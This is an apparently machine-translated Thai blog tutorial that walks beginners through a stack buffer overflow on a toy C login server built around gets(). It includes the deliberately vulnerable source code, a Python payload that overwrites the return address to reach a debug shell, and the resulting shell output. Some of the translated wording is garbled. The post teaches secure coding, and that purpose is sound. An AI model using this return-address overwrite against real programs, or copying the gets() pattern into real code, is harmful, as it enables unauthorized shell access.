บัฟเฟอร์ล้นครั้งแรกของคุณ

Nov 27 2022
ไม่ว่าคุณจะเป็นนักเรียน นักพัฒนาซอฟต์แวร์ หรือผู้จัดการในบริษัท คุณควรลองทำสิ่งนี้ กุญแจสำคัญในการเขียนโค้ดที่ปลอดภัยคือการทำความเข้าใจว่าโค้ดเสียหายอย่างไร

ไม่ว่าคุณจะเป็นนักเรียน นักพัฒนาซอฟต์แวร์ หรือผู้จัดการในบริษัท คุณควรลองทำสิ่งนี้ กุญแจสำคัญในการเขียนโค้ดที่ปลอดภัยคือการทำความเข้าใจว่าโค้ดเสียหายอย่างไร วิธีเดียวที่จะทำลายโค้ดที่ไม่ดีคือการทำให้มือของคุณสกปรกและเริ่มเปิดเชลล์ในการท้าทายการแสวงหาผลประโยชน์แบบไบนารี ในบทความนี้ ฉันจะแนะนำวิธีเรียกใช้การโจมตีบัฟเฟอร์ล้นของคุณเองโดยใช้ตัวอย่างที่ฉันทำบน YouTube

ในวิดีโอ YouTube ของฉัน ฉันอธิบายว่าสตริงในภาษาการเขียนโปรแกรม C ทำให้ผู้คนถูกแฮ็กได้อย่างไร เหตุผลหลักสำหรับสิ่งนี้คือไม่มีแอตทริบิวต์ความยาวอบที่เกี่ยวข้องกับประเภทสตริง C วิธีเดียวที่จะบอกว่าสตริงเสร็จสิ้นหรือไม่คือไปที่จุดสิ้นสุดของสตริง

https://youtu.be/fjMrDDj47E8

แนวคิดนี้ทำให้เกิดช่องโหว่จำนวนนับไม่ถ้วนในซอฟต์แวร์ และส่งผลให้เกิดการโจมตีทางไซเบอร์และการขโมยข้อมูลส่วนบุคคลนับพันครั้ง

เซิร์ฟเวอร์ที่มีช่องโหว่ของเรา

ด้านล่างนี้เป็นโค้ดสำหรับเซิร์ฟเวอร์อย่างง่ายใน C

#include <stdio.h>
#include <secrets.h>

void debug() 
{
    printf("!! ENTERING DEBUG MODE !!\n");
    system("/bin/bash");
}

int checkPassword()
{
    char password[64];

    printf("password: ");
    gets(password);

    return isValidPassword(password);
}

int main(int argc, char **argv)
{
    printf("WELCOME TO THE SECURE SERVER\n");

    if (checkPassword())
    {
        debug();
    } else {
        printf("Wrong password, sorry;\n");
    }
}

อย่างไรก็ตาม มีช่องโหว่ที่สำคัญอยู่ ที่นี่ รหัสผ่านที่ได้รับการตรวจสอบในที่สุดจะถูกอ่านโดยฟังก์ชันgetsซึ่งเป็นฟังก์ชันที่มีช่องโหว่สูง หากคุณไม่เชื่อฉันลองดูที่หน้าคนเพื่อรับ

Never use gets(). Because it is impossible to tell without knowing the data 
in advance how many characters gets() will read, and because gets() will 
continue to store characters past the end of the buffer, it is extremely 
dangerous to use. It has been used to break computer security. Use fgets() 
instead.

เดอะสแต็ค

ส่วนที่ยากที่สุดสำหรับโปรแกรมเมอร์และผู้เชี่ยวชาญด้านความปลอดภัยในโลกไซเบอร์ในการทำความเข้าใจคือการที่ข้อมูลนอกบัฟเฟอร์มากเกินไปสามารถนำไปสู่แฮ็กเกอร์ที่เข้าควบคุมโค้ดของคุณและท้ายที่สุดก็คือคอมพิวเตอร์ของคุณ สิ่งนี้เกิดขึ้นเนื่องจากวิธีที่คอมพิวเตอร์จัดระเบียบหน่วยความจำเมื่อโปรแกรมทำงาน

รูปที่ 1: ตัวอย่างการควบคุมโฟลว์ของโปรแกรม

ในตัวอย่างโค้ดข้างต้น โปรแกรมจะเริ่มต้นในmain หลังจากmain start ในบรรทัดที่ 10 จะมีการเรียกother_function สิ่งสำคัญอย่างยิ่งที่ต้องทำความเข้าใจคือother_functionรู้ได้อย่างไรว่าต้องไปที่บรรทัดที่ 11 หลังจากส่งกลับ

โครงสร้างที่มีข้อมูลนี้เรียกว่า "สแต็ก" สแต็กคือขอบเขตของ RAM ที่ใช้เมื่อโปรแกรมของคุณทำงาน และใช้เพื่อเก็บข้อมูลโฟลว์การควบคุม (เช่น ที่อยู่ผู้ส่ง) แต่ยังรวมถึงข้อมูลด้วย

เมื่อเรียก ใช้ main other_functionที่อยู่ที่จะดำเนินการถัดไปในmainหลังจาก ผลตอบแทน other_functionจะถูกผลักไปที่ด้านบนสุดของสแต็ก other_functionทำงาน จากนั้นโปรแกรมจะกลับไปยังที่อยู่ที่จัดเก็บโดยmain

นี่คือจุดที่บัฟเฟอร์ล้นเริ่มมีความสำคัญ หากมีบัฟเฟอร์ล้นในข้อมูลของโปรแกรม คุณสามารถเปลี่ยนข้อมูลโฟลว์ควบคุม และสุดท้ายเปลี่ยนวิธีการดำเนินการของโปรแกรม

ลองด้วยตัวคุณเอง

สิ่งเดียวกันนี้ใช้กับข้อมูลโค้ดนี้ที่นี่ แนวคิดเบื้องหลังโปรแกรมนี้คือ: ถ้าคุณรู้รหัสผ่าน คุณจะได้เชลล์ น่าเสียดายที่พวกเราแฮ็กเกอร์ไม่รู้รหัสผ่าน ดังนั้นเราจึงไม่ได้รับเชลล์ อย่างไรก็ตาม เนื่องจากมีการใช้งานฟังก์ชันgetsเราจึงสามารถใช้ประโยชน์จากช่องโหว่บัฟเฟอร์ล้นและล้นที่อยู่ผู้ส่ง แทนที่จะกลับไปที่mainเราสามารถกลับไปที่ ฟังก์ชัน debug ได้โดยตรง โดยไม่ต้องรู้รหัสผ่าน

ติดตามได้ที่นี่:

https://github.com/lowlevellearning/secure-server-stuff

ทดสอบการทำงาน

ในการเริ่มต้น เราควรเรียกใช้เซิร์ฟเวอร์และทดสอบการทำงานของมัน มาลองเดารหัสผ่านกัน

ได้เลย ไม่มีลูกเต๋า นี่คือจุดเริ่มต้นของการแฮ็ค

ล่มเซิร์ฟเวอร์

เราสามารถใช้ประโยชน์จากบัฟเฟอร์ล้นตามชื่อที่สื่อถึง โดยบัฟเฟอร์ล้น ในการทำเช่นนี้ เราให้ข้อมูลมากกว่าที่เซิร์ฟเวอร์สามารถจัดการได้

ที่ด้านล่าง เราเห็นว่าโปรแกรมมีข้อผิดพลาดในการแบ่งกลุ่ม สิ่งนี้หมายความว่าโปรแกรมพยายามเข้าถึงหน่วยความจำที่ไม่สามารถเข้าถึงได้ หากคุณเป็นนักพัฒนาซอฟต์แวร์ นี่ถือว่าไม่ดี แต่ถ้าคุณกำลังพยายามแฮ็กเซิร์ฟเวอร์ นี่เป็นสิ่งที่ดี :)

มาทำลายความผิดพลาดกันอีกสักหน่อย

ที่นี่ เราจะเห็นว่าโปรแกรม segfaulted เมื่อพยายามดำเนินการตามคำแนะนำที่อยู่ 0x41414141 ที่อยู่นั้นควรดูเหมือน… แปลก ที่น่าสนใจคือ 0x41414141 เป็นตัวแทนเลขฐานสิบหกของสตริง “AAAA” ซึ่งหมายความว่าสตริง As ล้นไปยังที่อยู่ผู้ส่งและ CPU พยายามดำเนินการ ตอนนี้ถูกแฮ็ค!

การควบคุม

เพื่อให้สามารถควบคุมที่อยู่ผู้ส่งได้อย่างแม่นยำ เราจำเป็นต้องพิจารณาว่าส่วนใดของสตริง ASCII ที่ทำให้โปรแกรมหยุดทำงาน เราสามารถทำได้โดยการปรับสตริงของเราด้วยอักขระต่างๆ และใช้อักขระเพื่อกำหนดตำแหน่งการควบคุมที่อยู่ผู้ส่งของเราเริ่มต้นและสิ้นสุด

แทนที่จะเป็นสตริงยาวของ As เราใส่ 64 As แล้วตามด้วยชุดอักขระ ASCII พิเศษ 64 คือความยาวของบัฟเฟอร์อินพุตของเรา ดังนั้นจึงเป็นจุดเริ่มต้นที่ดีในการคาดเดาความยาว หลังจากนั้นเราแทรกอักขระเพิ่มเติม หากต้องการตรวจสอบว่าการควบคุมของเราเริ่มต้นที่จุดใด ให้ใช้คำสั่งเดิมเช่นเดิม

ตอนนี้คุณจะเห็นว่าเรามีที่อยู่ผู้ส่งใหม่แล้ว 0x45454545 เป็นตัวแทนเลขฐานสิบหกของ “EEEE”! สิ่งนี้หมายความว่าเราได้กำหนดตำแหน่งที่โอเวอร์โฟลว์ควบคุมตัวชี้ย้อนกลับ จากตรงนี้ เราต้องใส่ที่อยู่ในบัฟเฟอร์ที่เราสนใจจริงๆ เรากำลังพยายามกลับไปที่ฟังก์ชันแก้ไขจุดบกพร่อง ดังนั้นเราควรใส่ที่อยู่นั้นแทนสตริง EEEE

ในการระบุที่อยู่ของการแก้ปัญหา เราเรียกใช้คำสั่งง่ายๆ...

objdump -d -Mintel ./hacked | less

ดูเหมือนว่าที่อยู่ดีบักคือ 0x08049296 หากเราใส่ที่อยู่ดีบักในตำแหน่งที่สตริง EEEE ของเราอยู่ บางทีเราอาจควบคุมโปรแกรมและกลับไปที่ดีบักได้โดยไม่ต้องใช้รหัสผ่าน

การใช้ประโยชน์ขั้นสุดท้าย

เราสามารถทำได้โดยใช้ python-fu

import sys

payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]

sys.stdout.buffer.write(payload)

user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER

password: !! ENTERING DEBUG MODE !!

cat password
too_kool_4_skoo

โปรดติดตามฉันบนสื่อ สมัครรับข้อมูลบน YouTube อื่น ๆ ที่จะมา!